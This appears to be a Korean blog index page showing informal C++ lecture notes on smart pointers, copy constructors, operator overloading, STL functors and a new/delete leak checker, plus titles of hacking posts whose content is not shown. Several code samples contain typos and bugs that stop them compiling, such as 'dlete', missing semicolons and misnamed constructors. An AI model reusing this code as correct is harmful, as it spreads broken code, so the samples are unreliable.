'k1rha`s Node'에 해당되는 글 388건

  1. 2012.08.15 [SSM 안드로이드 프레임워크 개발 강의]19. 메모리 릭을 체크하는 헤더만들기(operator New , Delete)
  2. 2012.08.15 [SSM 안드로이드 프레임워크 개발 강의]18. New 연산자 이야기
  3. 2012.08.14 [SSM 안드로이드 프레임워크 개발 강의]17. 변환 연산자와 변환 생성자. 그리고 활용.
  4. 2012.08.14 [SSM 안드로이드 프레임워크 개발 강의]16. STL 과 함수객체
  5. 2012.08.14 [SSM 안드로이드 프레임워크 개발 강의]15. STL find, strchr 구현하기
  6. 2012.08.14 [SSM 안드로이드 프레임워크 개발 강의]14-3.실제로 안드로이드 프레임웤에서 사용되는 스마트 포인터
  7. 2012.08.14 [SSM 안드로이드 프레임워크 개발강의]14-2 스마트포인터의 얕은복사 해결과 템플릿
  8. 2012.08.14 [SSM 안드로이드 프레임워크 개발 강의]14-1.스마트 포인터
  9. 2012.08.14 [SSM 안드로이드 프레임워크 개발 강의]13.연산자 재정의와 테크닉
  10. 2012.08.14 [SSM 안드로이드 프레임워크 개발 강의]12-1 얕은 복사의 4가지 기법
  11. 2012.08.14 [SSM 안드로이드 프레임워크 개발 강의]12. 복사생성자
  12. 2012.08.13 Webhacking.kr 500점 44번 문제 풀이
  13. 2012.08.13 php://filter for local file inclusion LFI 취약점의 이용
  14. 2012.08.13 [SSM 안드로이드 프레임워크 개발 강의]11. 함수포인터로 구현해본 안드로이드 Thread 예제제
  15. 2012.08.13 [SSM 안드로이드 프레임워크 개발 강의]10. 멤버함수 호출의 정리
  16. 2012.08.13 [SSM 안드로이드 프레임워크 개발 강의]9.템플릿으로 알아보는 싱글톤 패턴
  17. 2012.08.13 [SSM 안드로이드 프레임워크 개발 강의]8. 상수함수 이야기
  18. 2012.08.13 [SSM 안드로이드 프레임워크 개발 강의]7. 생성자 이야기
  19. 2012.08.13 [SSM 안드로이드 프레임워크 개발 강의]6. 객체 지향의 탄생 배경을 STACK 소스로 알아보기
  20. 2012.08.13 [SSM 안드로이드 프레임워크 개발 강의 ] 5. 참조변수 편
  21. 2012.08.13 [SSM 안드로이드 프레임워크 개발 강의 ] 4. C++ 캐스팅
  22. 2012.08.13 [SSM 안드로이드 프레임워크 개발 강의 ] 3. 메크로와 템플릿?!
  23. 2012.08.13 [ SSM 안드로이드 프레임워크 개발 강의 ] 2. 인라인 함수
  24. 2012.08.13 [SSM 안드로이드 프레임워크 개발 강의 ] 1. 함수 오버로딩
  25. 2012.08.12 SQL injection 중 괜찮은 방법들..
  26. 2012.08.12 sql injection awk 를 이용하여 빠르게 점검하기.
  27. 2012.08.09 [ Python ] 전역변수 설정법 (global value ) ex. thread
  28. 2012.08.08 XSS 다양한 우회 패턴
  29. 2012.08.06 솔라리스 python 3.x 설치 시 encoding: 5601 에러 혹은 윈도우에서 cp56001 에러
  30. 2012.08.04 Sun OS (solaris) 에서 python 3.2 설치하기
2012. 8. 15. 11:04

#include<iostream>

#include"memchk.h"

using namespace std;


//new를 재정의하는 다양한 기법



int main(){

int *p1 = new int;

int *p2 = new int;

int *p3 = new int;

delete p2;

/*


cout << __FILE__ << endl;

cout << __LINE__ << endl;

cout << __TIME__ << endl;

*/ //표준 C/C++ 에서 지원하는 메크로


return 0; // 다른 헤더에서 메임을 가짜로 바꿨으니.. 리턴0을 써줘야한다

}

====================================memchk.h==============================================


#include<iostream>

using namespace std;


struct MEM{


char file[256];

int line;

void * addr;

};


MEM mem[1000];

int count =0;

void * operator new (size_t sz , char *file , int line){

void *p = malloc(sz);

//할당정보를 배열에 보관한다.


mem[count].addr = p;

mem[count].line = line;

strcpy(mem[count].file, file);

++count;

return p;

}


void operator delete(void *p){


for(int i=0;i<count ; i++){

if(mem[i].addr ==p){

mem[i] = mem[count-1];

free(p);

--count;

break;

}

}

}

int Main();

int main(){

int ret = Main();  //사용자 메인함수는 단순 호출이고 그뒤에 내가 원하는 결과를 붙인다.


if(count == 0)cout << "메모리 누수가 없습니다"<<endl;

else{

cout << count << "개의 메모리 누수가 있습니다."<<endl;

for(int i=0;i<count;i++){

printf("%s(%d):%p\n",mem[i].file, mem[i].line, mem[i].addr);

}

}

return ret;

}


#define main Main   //이후에 메인은 메인이 아니다!!!  그 메인의 리턴값 이후에 무언가를 출력시킴 

#define new new(__FILE__, __LINE__)  //new를 디파인

int *p = new int;


Posted by k1rha
2012. 8. 15. 11:02

#include<iostream>


using namespace std;


/////////////////////////////////////////////////

//New 이야기

//1 New 의 동작 방식

//(A)operator new() 함수를 사용해서 메모리를 할당 한후

//(B)(A) 가 성공했고 객체 였다면 생성자 호출

//(C) 주소를 해당 타입으로 캐스팅해서 리턴.

//

//delete

//(A) 소멸자 호출

//(B) operator delete()를 사용해서 메모리 해지

//

//////////////////////////////////////////////////////////////////

class Test{


public:

Test(){cout<<"Test()"<<endl;}

~Test(){cout<<"~Test()"<<endl;}

};


int main(){

//생성자 소ㅕㄹ자의 호출없이 메모리만 할당/해지하는 방법

//결국 C의 malloc과 유사


Test *p = static_cast<Test *>(operator new( sizeof(Test));

operator delete(p);


}

=====================================================================================


Posted by k1rha
2012. 8. 14. 17:43

#include<iostream>

using namespace std;


/////////////////////////////////////////////////////////////

// 변환 이야기

// Point -> int : 변환 연산자

// int -> Point : qusghks todtjdwk (인자가 1개인 생성자)

////////////////////////////////////////////////////////////


class Point{



int x, y;


public:

Point() :x(0),y(0){}

Point(int a , int b):x(a),y(b){}


//변환 연산자 : 객체를 다른 타입으로 암시적/ 명시적 형변환 되게 한다.

// 변환 연산자는 리턴값을 표시하면 에러이다.

operator int(){


return x;

}


Point(int a) :x(0),y(0){} // 변환생성자 

};

/*

int main(){


double d = 3.4;

int n =d;


Point p(1,2);

int n2 = p; //p.operator int() 가 있으면 된다.

}

*/


int main(){

Point p1(1,2);

int n =p1; // p1.operator int() 이므로 OK 

//Point -> int 변환

// p1=n; // int -> Point 변환 

// 똑같은 의미에서 n.operator Point() 가 있으면 된다. 하지만 n 은 객체가 아니다 ㅠㅠ


p1=n; // 변환 생성자 적용 후 int 형생성자가 있으면 가능하다!

//컴파일러가 임시 객체를 만들어서 집어넣은뒤 대입연산자를 통해 넣어주게 된다.

}



================================ 활용 법 ===========================================


#include<iostream>

using namespace std;


class OFile 

{


FILE *file;


public:


//모르는 연산자가 넘어오는 것을 방지하기 위해서.. 인자가 1개인 생성자가 암시적으로 변환을 일으키는 것을 막는다.

//explicit  // 단! 명시적 변환은 된다.

explicit OFile (const char *name , const char *mode = "wt"){

file = fopen (name ,mode);

}

~OFile(){fclose(file);}


void write(const char *s){fwrite(s,1,strlen(s),file);}


//operator  // 차세대 C++ 은 변환  연산자 앞에도 explocit 를 붙일 수 있따.

operator FILE*(){return file;} // 변환 연산자?!!!


};


/////////////////////////////////////////////////////////////////////

//변환 연산자의 적절한 예시

////////////////////////////////////////////////////////////////////

/*

int main(){

OFile f("a.txt");

f.write("hellow");

int n=10;

fprintf(f,"n=%d",n); //OFILE 이 파일포인터로 변환만 될수 있따면 ..ㅠㅠ 벼..변환 연산자?!

///////////////변환 연산자 후엔 다 슬수 있다.////////////////////

fputs("world",f);



////////////////다른 예를 들어보자! ////////////////////////////////////////////

// char s[10]="hello";

// String s2="aaa";

// strcpy(s,s2); //?



}


*/

void foo(OFile f){


}

int main(){


OFile f("a.txt");

foo(f); // 당연하다!!!! 

//////////////explicit 적용전 ///////////////////////

/// foo("hellow"); //!?

//error 가 나와야한다

//잘된다!! char * -> OFile 이 면 된다! 

//////////explicit 적용후는 안됨 ///////////////////////


foo((OFile)"hellow"); //의도적으론 된다.

}

==================================================================================================

Posted by k1rha
2012. 8. 14. 16:52

#include<iostream>

#include<algorithm>


using namespace std;


///////////////////////////////////////////////////////////////////////////////

// STL 의 sort() 는 마지막 인자가 T로 되어 있다.

//

//

//

///////////////////////////////////////////////////////////////////////////////


// 아래 코드의 단점 인라인 처리가 안된다?!

/*

int cmp1(int a, int b) {return a-b;}

int cmp2(int a, int b) {return b-a;}


int main(){


int x[10] = {1,2,3,4,5,6,7,8,9,10};

sort(x,x+10,cmp1);  //sort(int *, int *, int(*)(int,int)) 함수 생성 

sort(x,x+10,cmp2); //sort(int *, int*, int(*)(int,int))




}

*/


//////////////////////////////////////////////////////////////////////////////

// 이미 있는 STL 이다!!

// #include <functional> 다있다! 다있따!  //less<> , greater<>

////////////////////////////////////////////////////////////////////////////

template<typename T>struct less{

bool operator()(T a,T b){return a<b;}

};


struct greater {bool operator()(int a, int b){return a>b;}};


int main(){


int x[10] = {1,2,3,4,5,6,7,8,9,10};

less<int> cmp1;

greater cmp2;


sort(x,x+10,cmp1); //sort(int *, int *, less) 함수 생성

sort(x,x+10,cmp2); //sort(int *, int*, greater) 함수 생성




}

=====================================================================

함수객체이야기

=====================================================================

#include<iostream>

#include<algorithm>


using namespace std;


///////////////////////////////////////////////////////////////////////////////

// STL 의 sort() 는 마지막 인자가 T로 되어 있다.

//

//

//

///////////////////////////////////////////////////////////////////////////////


// 아래 코드의 단점 인라인 처리가 안된다?!

/*

int cmp1(int a, int b) {return a-b;}

int cmp2(int a, int b) {return b-a;}


int main(){


int x[10] = {1,2,3,4,5,6,7,8,9,10};

sort(x,x+10,cmp1);  //sort(int *, int *, int(*)(int,int)) 함수 생성 

sort(x,x+10,cmp2); //sort(int *, int*, int(*)(int,int))




}

*/


//////////////////////////////////////////////////////////////////////////////

// 이미 있는 STL 이다!!

// #include <functional> 다있다! 다있따!  //less<> , greater<>

////////////////////////////////////////////////////////////////////////////

template<typename T>struct less{

bool operator()(T a,T b){return a<b;}

};


struct greater {bool operator()(int a, int b){return a>b;}};


int main(){


int x[10] = {1,2,3,4,5,6,7,8,9,10};

less<int> cmp1;

greater cmp2;


sort(x,x+10,cmp1); //sort(int *, int *, less) 함수 생성

sort(x,x+10,cmp2); //sort(int *, int*, greater) 함수 생성




}


/////////////////////////////////////////////////////////////////////////////


/////////////////////////////////////////////////////////////////

//절대값 오름 차순시?

/////////////////////////////////////////////////////////////

template <typename T>struct absLess{

inline bool operator()(T a, T b){return abs(a) < abs(b);}


};


int main(){


int x[10] = {1,3,5,7,9,-2,4,6,8,10};

//절대값 오른차순으로 소트하고싶다.

absLess<int> cmp;

sort(x,x+10,cmp);

}

Posted by k1rha
2012. 8. 14. 15:13

#include<iostream>

using namespace std;

/////////////////////////////////////////////////////////////////////////////////

//STL 알고리즘

//guswo C++ 의 대부분의 라이브러리는 Ferneric 을 중요시 합니다 (STL 안드로이드 등) 

//

// Generic 이란 무엇인지 생각해 봅시다

//

// 1. 알고리즘 만들기

//

///////////////////////////////////////////////////////////////////////////////////


/*

//1단계 strchr() 의구현

//검색구간 : NULL 로 끝나는 문자열, ㅜㅕㅣㅣdms rjatordp vhgka dksehlsek.

//구간의 표현 : 포인터 

//구간의 이동 : 전위형 ++

//실패의 전달 : 0(NULL 포인터 )

//


char * xstrchr(char *s,char c){

while( *s !=0 && *s!=c)

++s;


return *s ==0 ? 0 : s;

}


int main(){



char s[] = "abcdefg";

char *p = xstrchr(s,'c');

cout << *p <<endl;

}



*/


/*

//////////////////////////////////////////////////////////////////////////////

//2단계 구현  일반화 - 부분 문자열도 검색이 가능하게 만드는 방법

// 검색 구간 : [fist , last) 사이의 문자열, ㅣㅁㄴㅅ sms rjatordp vhgkadksehla

// 구간의 표현 : 포인터

// 구간의 이동 : 전위형 ++

// 실패의 전달 : 0 (NULL)

//////////////////////////////////////////////////////////////////////////////

char * xstrchr(char *first, char *last , char value){

while(first !=last && *first !=value)++first;

return first == last ? 0 : first;

}

int main(){


char s[] ="abcedfg";

char * p = xstrchr(s,s+5,'c');

cout<< *p <<endl;


}

*/


/*

//////////////////////////////////////////////////////////////////////////////

//2단계 template 이용하기

//문제점 : 1 . 검색 구간의 타입과 검색 대상의 타입이 연관되어 있다.

//해결책 :  double 에 배열에서 int를 검색할 수 없다. 구간의 타입과 검색의 타입을 분리하자!

//

//문제점 : 2. T* 라고 하면 구간은 반드시 진짜 포인터로만 표현 되어야 한다.

//     스마트 포인터를 사용 할 수 없다.

//

/////////////////////////////////////////////////////////////////////////////

template <typename T> T* xfind(T *first, T* last , T value){

while(first !=last && *first !=value)++first;

return first == last ? 0 : first;

}


int main(){


double x[10] = {1,2,3,4,5,6,7,8,9};

double *p = xfind(x, x+10,5.0);

cout << *p << endl;



}

*/


////////////////////////////////////////////////////////////////////////////////

/// 검색내용과 검색부분을 분리해내자! 그렇게되면 스마트 포인터도 사용 할 수있다.

// 검색 구간 : [first, last) 모든 타입의 배열의 부분구간

// 구간의 표현 : 포인터 , 스마트 포인터(단  == , != , * , ++ 4개의 연산자 지원이 되느 스마트 포인터여야 한다.

//

//////////////////////////////////////////////////////////////////////////////

//

//실패의 전달 : last (past the end 라고 부르기도 한다. 마지막검색 다음 요소 

//////////////////////////////////////////////////////////////////////////////////////////////

//

// 이..이것슨!! STL 의 find() 알고리즘이다!!! 

//

///////////////////////////////////////////////////////////////////////////////////////////

template<typename T1, typename T2> T1 xfind(T1 first, T1 last, T2 value){


while(first !=last && *first !=value)++first;

return first;

}


int main(){


double x[10] = {1,2,3,4,5,6,7,8,9};

double *p = xfind(x, x+10,5.0);

cout << *p << endl;


}

Posted by k1rha
2012. 8. 14. 13:59

#include<iostream>

using namespace std;


/*

class Car{


int mCount;

public :

Car() : mCount(0){}


void incStrong(){--mCount;}

void decStrong(){

if(--mCount ==0)delete this;

}

~Car(){cout<<"Car 파괴 "<<endl;}


};

*/


////////////////////////////////////////////////////////////////////////////////////////

/// 안드로이드 프레임웤에서는 모든 클래스가 RefBase 클래스를 상속받아 사용되게 되어있다.

////////////////////////////////////////////////////////////////////////////////////////

class RefBase{


int mCount;

public :

RefBase() : mCount(0){}


void incStrong(){++mCount;}

void decStrong(){

if(--mCount ==0)delete this;

}

virtual ~RefBase(){cout<<"Red 파괴 "<<endl;}


};


class Car : public RefBase{



}

template<typename T> class sp

{

T * m_ptr;

public:

sp(T *other =0):m_ptr(other) {if(m_ptr)m_ptr->incStrong();}

sp(const sp &p):m_ptr(p.m_ptr) {if(m_ptr)m_ptr->incStrong();}

~sp() {if(m_ptr)m_ptr->decStrong();}


T *operator->(){return m_ptr;}

t& operator *(){return *m_ptr;}


}

int main(){


sp<Car> p1 = new Car;

sp<Car> p2=p1;


/*

Car *p1 = new Car;

p1->incStrong(); //객체 생성후 무조껀 1을 증가하자


Car *p2 = p1;

p2->incStrong(); //복사후 1을 증가하자


p1->decStrong(); //3. 모든 포인터는 사용후 1감소하자.

p2->incStrong();

*/

}

Posted by k1rha
2012. 8. 14. 13:58

#include<iostream>

using namespace std;


//1. template 로 만들게 된다!! 당근이징 

//2. 얕은 복사를 해결 해야 한다.

//  (A) 깊은 복사

//  (B) 참조 계수

//  (C) 소유권 이전

//  (D) 복사금지 



/*

template <typename T>class ptr{

T *obj;


public:

ptr(T *p=0):obj(p){}

T *operator->(){return obj;}

T& operator*() {return *obj ;}


~ptr(){delete obj;}

};

//


int main(){

ptr<int> p1 = new int;

*p1 = 10;

cout << *p1 << endl;



}

*/

/*

////////////////////////// 복사 금지 ///////////////////////////////

// boost 의 scoped_ptr<> 이 이정책을 사용한다.

//장점 : 가볍다.

//단점 : 단지 자원곤리만 책임지고 대입 , 복사등이 불가능하다.

////////////////////////////////////////////////////////////////////


template <typename T>class scoped_ptr{

T *obj;

scoped_ptr(const scoped_ptr &p);

void operator = (const scoped_ptr &p);


public:

scoped_ptr(T *p=0):obj(p){}

T *operator->(){return obj;}

T& operator*() {return *obj ;}


~scoped_ptr(){delete obj;}

};


//void foo(scoped_ptr<int> p2); //불편함




int main(){

scoped_ptr<int> p1 = new int;

*p1 = 10;

cout << *p1 << endl;


//ptr<int> p2= p1; /// 컴파일 에러!! 절대 이렇게는 사용하지 마시요~ 라는 뜻 

}


*/

/*

//////////////////////////////////////// 소유권 이전 ///////////////////////////////

//#include<memory> // 이안에 auto_ptr 이 있다!!

//

/////////////////////////////////////////////////////////////////////////////////////

template <typename T>class Auto_ptr{

T *obj;


public:

//소유권 이전의 전략

Auto_ptr(ptr & p): obj(p.obj){

p.obj=0;

}


Auto_ptr(T *p=0):obj(p){}

T *operator->(){return obj;}

T& operator*() {return *obj ;}


~Auto_ptr(){delete obj;}

};


//void foo(scoped_ptr<int> p2); //불편함




int main(){

Auto_ptr<int> p1 = new int;

*p1 = 10;

cout << *p1 << endl;


Auto_ptr<int> p2= p1; //이제 자원은 p2만 사용한다 (소유권 이전)

//cout << * p1 < endl;//error

cout << *p2<<endl; // ok



}

*/

/////////////////////////////////// 참조 계수 /////////////////////////////////////

// boost 에서 만들고 STL 에 새롭게 추가된 shared_ptr 입니다.

/////////////////////////////////////////////////////////////////////////////////////

template <typename T>class Auto_ptr{

T *obj;

int *pRef;


public:

//참조계수 전략


Auto_ptr(T *p=0):obj(p){

pRef = new int(1);


}

ptr(const ptr &p):obj(p.obj),pRef(p.pRef){

++(*pRef);

}


T *operator->(){return obj;}

T& operator*() {return *obj ;}

~Auto_ptr(){

if(--(*pRef)==0){

dlete obj;

delete pRef;

}

}

};


//void foo(scoped_ptr<int> p2); //불편함




int main(){

Auto_ptr<int> p1 = new int;

*p1 = 10;

cout << *p1 << endl;


Auto_ptr<int> p2= p1; //이제 자원은 p2만 사용한다 (소유권 이전)

//cout << * p1 < endl;//error

cout << *p2<<endl; // ok



}

Posted by k1rha
2012. 8. 14. 13:57

#include<iostream>

using namespace std;


//////////////////////////////////////////////////////////////////////////////

// 스마트 포인터 : 임의의 객체가 다른 타입의 포인터 처럼 사용되는것

// 장점 : 진짜 포인터가 아니라 객체이다. 생성 복사 대입 소멸 모든과정을

// 사용자가 제어 할 수 있다. 대표적인 예가 소멸자에서의 자동 삭제 기능! 

//

//3. 주로 ->, * 연산자를 재정의해서 만들게 된다.


////////////////////////////////////////////////////////////////////////////


class Car

{

public:

void Go(){cout<<"car go"<<endl;}


};

//스마트 포인터 : 임의의 객체가 다른 타입의 포인터 처럼 사용되는 것.

class ptr{

Car *obj;

public:

ptr(Car *p=0):obj(p){}

Car *operator->(){return obj;}

Car& operator*() {return *obj ;}


~ptr(){delete obj;}

};


int main(){

ptr p=new Car;

p->Go(); // (p.operator->())Go() 이지만 

// (p.operator->())->Go() 처럼 해석된다.


/*

Car *p = new Car;

p->Go();

delete p;

*/


}

===================================================================================


Posted by k1rha
2012. 8. 14. 11:51

#include<iostream>

using namespace std;


//연산자 재정의 개념

//철학 : 사용자 정의 타입도 빌트인 타입처럼 동작해야한다.

// 단축 표기의 미학!!

//1. + 도 결국 함수로 표현된다. operator +

//2. p1+p2 는 operator+(p1,p2)



///////////////////////////////// Friend 로 구성한 operator+//////////////////////////////////

/*

class Point{

int x,y;


public : 

Point(int a = 0, int b= 0) : x(a),y(b){}

//멤버변수가 아니더라도 private 에 접근 할수 있게 해달라.

friend Point operator+(const Point & p1, const Point &p2);

};

Point operator+(const Point &p1, const Point &p2){

return Point(p1.x +p2.x,p1.y+p2.y);

}

int main(){


Point p1(1,1);

Point p2(2,2);

Point p3= p1+p2; // operator+(p1,p2)가 있으면 된다.

//p1.operator+(p2) 라고 해석하기도 한다.


Point p4 = p1+5;

Point p5 = 5 +p1;

}

*/


///////////////////////멤버로 구성한 operator+ /////////////////////////////////


class Point{

int x,y;


public : 

Point(int a = 0, int b= 0) : x(a),y(b){}

//멤버변수가 아니더라도 private 에 접근 할수 있게 해달라.

Point operator+(const Point &p){

return Point (x + p.x, y + p.y);

}

};


int main(){


Point p1(1,1);

Point p2(2,2);

Point p3= p1+p2; // operator+(p1,p2)가 있으면 된다.

//p1.operator+(p2) 라고 해석하기도 한다.



Point p4 = p1+5;


//Point p5 = 5+p1;  //에러가 뜬다? why? 다음시간에 배움

}

//0. -,(),[],-> : 반드시 멤버여야 한다.

//1. 단항 : 멤버가 좋다

//2. 이항중 : += , -= , *= 등은 멤버가 좋다.

//3. 2를 제외한 이항 : 전역이 좋다.

//

//철학은 객체의 상태가 변경되면 멤버가 좋다!! ++a; a+=b; a+b;




=========================================================================================



#include<stdio.h>




//cout 의 원리


class ostream{


public :

ostream& operator<<(int n) {printf("%d",n);return *this;}

ostream& operator<<(const char *s ) {printf("%s",s);return *this;}

ostream& operator<<(ostream &(*f)(ostream &)){

f(*this);

return *this;

}

};

ostream cout;

ostream& end (ostream& os){

os<<"\n";

return os;

}

ostream& tab (ostream& os){

os<<"\t";

return os;

}


int main(){


int n =10;


cout<< n <<tab <<end; //cout.operator <<(n)

cout << "hello"; //cout.operator <<("hello")


}



Posted by k1rha
2012. 8. 14. 10:38

#include<iostream>


using namespace std;



///////////////////////////////////////////////////////////////////////////////////////////

// 객체의 얕은 복사 이야기

// 1. 생성자에서 자원을 획득할 경우, 소멸자에서 자원을 반납하자! RAII

// RAII : resource acquision is initialize ( 자원을 획득하는 것은 객체의 초기화 이다.)

// 2. 클래스 내부에 포인터 멤버가 있다면 컴파일러가 제공하는 복사 생성자는 얕은 복사 현상을 일으킨다.

// 사용자는 반드시 이문제를 해결해야 한다.

//

// 3. 해결책

// (A) 깊은 복사 

// (B) 참조 계수

// (C) 소유권 이전 

// (D) 복사 금지

//

///////////////////////////////////////////////////////////////////////////////////////////

/*

class Cat{


char *name;

int age;


public : 

Cat (const char *n, int a): age(a){

name = new char[strlen(n)+1];

strcpy(name,n);


}

~Cat (){delete[] name;}

};

int main(){

Cat c1("NABI",2);

Cat c2(c1); //런타임에러 디버그 모드에서.. //포인터만 복사.. 하는경우는?! shallow copy 얕은 복사를 한다.

//이럴때는 소멸자에서 같은 메모리를 두번 지우려고 한다.

}


*/


///////////////// (A) 깊은 복사 /////////////////////////////////////

/*

class Cat{


char *name;

int age;


public : 

//깊은 복사를 구현한 복사 생성자 


Cat(const Cat & c ): age(c.age) // 1. 포인터가 아닌 멤버는 그냥 복사

{

name = new char[strlen(c.name+1)];

strcpy(name, c.name); // 메모리를 복사

}

Cat (const char *n, int a): age(a){

name = new char[strlen(n)+1];

strcpy(name,n);


}

~Cat (){delete[] name;}

};

int main(){

Cat c1("NABI",2);

Cat c2(c1); //런타임에러 디버그 모드에서.. //포인터만 복사.. 하는경우는?! shallow copy 얕은 복사를 한다.

//이럴때는 소멸자에서 같은 메모리를 두번 지우려고 한다.

}*/


/*

/////////////////////////////////////////////////////////////////////////////////////


////////////////// (B)참조계수법: 메모리를 복사하지말고 카운트를 하자! //////////////////

class Cat{


char *name;

int age;

int *pRef;

public : 

// 참조 계수를 기반으로 만들어진 복사 생성자

Cat(const Cat&c) : name (c.name), age(c.age),pRef(c.pRef){

++(*pRef);

}

Cat (const char *n, int a): age(a){

pRef = new int(1); //1개를 1로 초기화 

name = new char[strlen(n)+1];

strcpy(name,n);


}

~Cat (){

if(--(*pRef)==0){


delete[] name;

delete pRef;

}

}

};

int main(){

Cat c1("NABI",2);

Cat c2(c1); //런타임에러 디버그 모드에서.. //포인터만 복사.. 하는경우는?! shallow copy 얕은 복사를 한다.

//이럴때는 소멸자에서 같은 메모리를 두번 지우려고 한다.


//c1.name = "AAA"; //이순간 C1 C2는 자원(이름)을 분리해야한다.

//copy on write (COW)라는 기술~

}


*/

///////////////////////////////////////////////////////////////////////////////////////////



//////////////////////////// (C) 소유권이전의 복사생성자 기술1 ////////////////////////////

/*

class Cat{


char *name;

int age;


public :


//swap 같등을 만들때 아주 좋은 방식이다! 차세데 C++ ㅇ는 move 생성자라고 부른다

// 현재는 C++ 표준인 auto_ptr<> 이 이기술을 사용한다


//소유권 이전의 복사 생성자 기술!! 

Cat(Cat & c):name(c.name),age(c.age) //얕은 복사

{

c.name=0;

c.age=0;


}

Cat (const char *n, int a): age(a){

name = new char[strlen(n)+1];

strcpy(name,n);


}

~Cat (){delete[] name;}

};

int main(){

Cat c1("NABI",2);

Cat c2(c1); //런타임에러 디버그 모드에서.. //포인터만 복사.. 하는경우는?! shallow copy 얕은 복사를 한다.

//이럴때는 소멸자에서 같은 메모리를 두번 지우려고 한다.

}


*/

/*

//////////////////////////////////(D) 복사금지 기법///////////////////////////////////////

class Cat{


char *name;

int age;

//private 복사 생성자 .. 복사 금지 할떄 사용하는 기술

Cat (const Cat & c); //선언만한다 1.일단선언이 있으므로 컴파일러는 디폴트복사를 제공하지 않는다.

//2.어딘가에서 호출하는 코드가 있으면 구현이 없으므로 링크 에러이다.

//  멤버함수에서도 호출 할 수 없다.



//보통 복사를 금지하면 대입도 금지한다

void operator=(const Cat&);

public :

void foo(){

// Cat c1("A",10);

// Cat c2(c1); //OK 에러를 내게한다.


}

Cat (const char *n, int a): age(a){

name = new char[strlen(n)+1];

strcpy(name,n);


}

~Cat (){delete[] name;}

};

int main(){

Cat c1("NABI",2);

// Cat c2(c1); //캄파일 시간에러가 나오게 하자! 



}



//////////////////////////////////////////////////////////////////////////////////////////////


*/



////////////////////////////////////////////////////////////////////////////////

// 복사 연산자는 너무나 유용하기 때문에 따로 클래스를 만들어 사용하는경우가 많다,

//

//////////////////////////////////////////////////////////////////////////

class uncopyable

{

private:

uncopyable(const uncopyable &);

void operator=(const uncopyable &);

};

//이것을 상속 받아 사용하면된다. 


class Cat : private uncopyable{


char *name;

int age;


public :

Cat (const char *n, int a): age(a){

name = new char[strlen(n)+1];

strcpy(name,n);


}

~Cat (){delete[] name;}

};

int main(){

Cat c1("NABI",2);

// Cat c2(c1); //캄파일 시간에러가 나오게 하자! 



}

///////////////////////////////////////////////////////////////////////////


Posted by k1rha
2012. 8. 14. 10:37

#include<iostream>

using namespace std;

////////////////////////////////////////////////////////////////////////

//

//복사 생성자 이야기 

//1. 사용자가 복사 생성자를 만들지 않으면 컴파일러가 만들어 준다.

//2. 기본적으로 모든 멤버를 복사 해준다.

//3. C++ 에서 복사생성자가 사용되는 것은 3가지 경우입니다.

// (A) 자신의 타입으로 초기화 될떄 : Point p2(p1)

// (B) 함수인자로 ㄱㄱ체가 값으로 전달될떄 : void foo(Point)

// void foo(const Point &) 를 사용하면 복사생성자 호출을 막을 수 있다.

// Const & 의 장점 : 1. 메모리사용량이 줄어든다.

// 2. 복사 생성자 소멸자의 호출을 막아서 성능 향상된다.

//

// (C)함수가 객체를 값으로 리턴할때 - 임시객체 때문에 복사 생성자가 호출된다. 

// 그럴때 RVO를 사용하면 막을 수 있다.

//

///////////////////////////////////////////////////////////////////////////

/*

class Point{



int x,y;

public:

Point() :x(0),y(0){}

Point(int a, int b) :x(a),y(b){}

//zjavkdlffjsms dkfo ahdiddml todtjdwkfmf wprhdgownsek.

Point(const Point &p):x(p.x),y(p.y){}


};


int main(){


Point p1;

Point p2(1,2);

Point p3(p2); //Point(Point) 모양의 생성자가 필요하다!!


}


*/



/*

class Point{



int x,y;

public:

Point() {cout<<"생성자 1"<<endl;}

Point(int a, int b) {cout<<"생성자 2"<<endl;}

//zjavkdlffjsms dkfo ahdiddml todtjdwkfmf wprhdgownsek.

Point(const Point &p) {cout<<"복사 생성자"<<endl;}

~Point() {cout<<"소멸자"<<endl;}


};

//void foo(Point p){  // 복사생성자와 소멸자가 호출되어 객체가 한번더 호출된다.

void foo(const Point &p)  //const는 그대로 유지되기떄문에 복사생성자가 호출되지 않는다.

{

cout<<"foo"<<endl;

}


int main(){


cout<<"start"<<endl;

Point p1;

cout << "AAA"<<endl;

foo(p1);

cout<<"BBB"<<endl;



}*/



///////////////////////////////////////////////////////////////////////////////////////////////////

///

/// 아래의 코드에 복사 생성자가 들어가있다!! why? return p1 에서 복사생성자에 복사에서 보내기 떄문이다! 

// 1 생성자1 -> AAA -> 생성자2 -> foo -> 복사생성자 -임시객체 -> 소멸자 - 소멸자(임시객체)->BBB-> 소멸자 P

//

////////////////////////////////////////////////////////////////////////////////////////////////////

/*

class Point{



int x,y;

public:

Point() {cout<<"생성자 1"<<endl;}

Point(int a, int b) {cout<<"생성자 2"<<endl;}

//zjavkdlffjsms dkfo ahdiddml todtjdwkfmf wprhdgownsek.

Point(const Point &p) {cout<<"복사 생성자"<<endl;}

~Point() {cout<<"소멸자"<<endl;}


};


Point foo()

{

Point p1(1,2);

cout << "foo" << endl;

return p1;   // 임시 객체를 통해 리턴한다.

}



int main(){


Point p;

cout << "AAA"<<endl;

p=foo();

cout<<"BBB"<<endl;


}

*/

//////////////////////////////////////////////////////////////

///////////////////////////////////////////////////////

//위와같은 문제를 줄여주기 위해 RVO(return value optimization) 이라고 불리는 기술을 사용한다.

///////////////////////////////////////////////////////////////


class Point{



int x,y;

public:

Point() {cout<<"생성자 1"<<endl;}

Point(int a, int b) {cout<<"생성자 2"<<endl;}

//zjavkdlffjsms dkfo ahdiddml todtjdwkfmf wprhdgownsek.

Point(const Point &p) {cout<<"복사 생성자"<<endl;}

~Point() {cout<<"소멸자"<<endl;}


//Point(Point p){} // 이렇게하면 복사생성자가 재귀적으로 무한히 호출되므로 컴파일 에러가 뜬다.

//point(Point &p){} // OK~!

};


Point foo()

{


/////////////////////////////////////////////////////////////////////////////////

// 이름이 있는 객체도 RVO로 자동 리턴된다 NRVO 기술 (Named Return value Optimization)

// VC++ 2005 부터 지원되는 최적화 기술

//

/////////////////////////////////////////////////////////////////////////////////////

// Point p1(1,2);

// cout << "foo" << endl;

// return p1;   // 임시 객체를 통해 리턴한다.  // 리턴하면 성능이 좋치 않다.

//릴리즈 모드를 하면 알아서 RVO 모델로 최적화가 된다. 

cout << "foo"<<endl;

return Point(1,2);

}

int main(){


Point p;

cout << "AAA"<<endl;

p=foo();

cout<<"BBB"<<endl;


}


Posted by k1rha
2012. 8. 13. 21:48

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 8. 13. 21:44

Using php://filter for local file inclusion

